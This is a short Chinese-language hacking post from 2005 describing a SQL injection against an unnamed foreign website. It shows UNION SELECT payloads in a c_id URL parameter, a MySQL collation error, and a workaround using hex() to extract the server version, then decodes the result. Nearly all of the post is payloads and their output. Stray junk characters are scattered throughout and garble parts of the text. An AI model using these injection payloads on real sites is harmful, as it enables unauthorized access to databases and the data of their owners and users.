本文作者:SuperHei5 H* t! G' u b) w1 J! B
文章性质:原创
2 u7 F- l! a3 ^" \# ~发布日期:2005-10-18
% V+ a" u7 p5 V测试个国外的站时:
% a* C o" B% c( g* X( }% @url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
' q2 B9 `2 f3 J! @# j返回错误:* l D: B$ H- u+ W: _+ [0 n: s" g
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' E! Q0 h0 r4 R0 Q6 t/ R- x
MySQL Error No. 126
( }9 X; r3 p: G5 B$ Q, ^看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。# X5 z( v, m6 J* v" O' F; j
解决办法:转为其他编码如hex。
* F) W. F9 R: I. @0 turl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
5 E: T1 e3 h' Y成功得到hex(version())的值为:7 h4 X" S6 `6 D& O" Z5 `! U1 C
342E312E332D62657461: _" S, j8 ~ P5 T) r) m
回Mysql查询下得到:
8 g O* ]) ?( [8 K- j+ t. g& @$ Amysql> select 0x342E312E332D62657461;" }1 E. v8 v4 }6 K. t4 V& Y) a' q
+------------------------+" y& x: Q. f! J9 }3 \( j& S. K
| 0x342E312E332D62657461 |& d1 }8 X' `3 I
+------------------------+# j. V [% F) ~# c9 y2 V
| 4.1.3-beta |
- r7 C& @7 J4 I6 Q/ T2 F! P+ a+------------------------+
' h7 I: a( u% M T7 I5 a1 row in set (0.00 sec); ?3 q8 _2 v& i: Z& O
0 F2 b. ~( E# n }& S |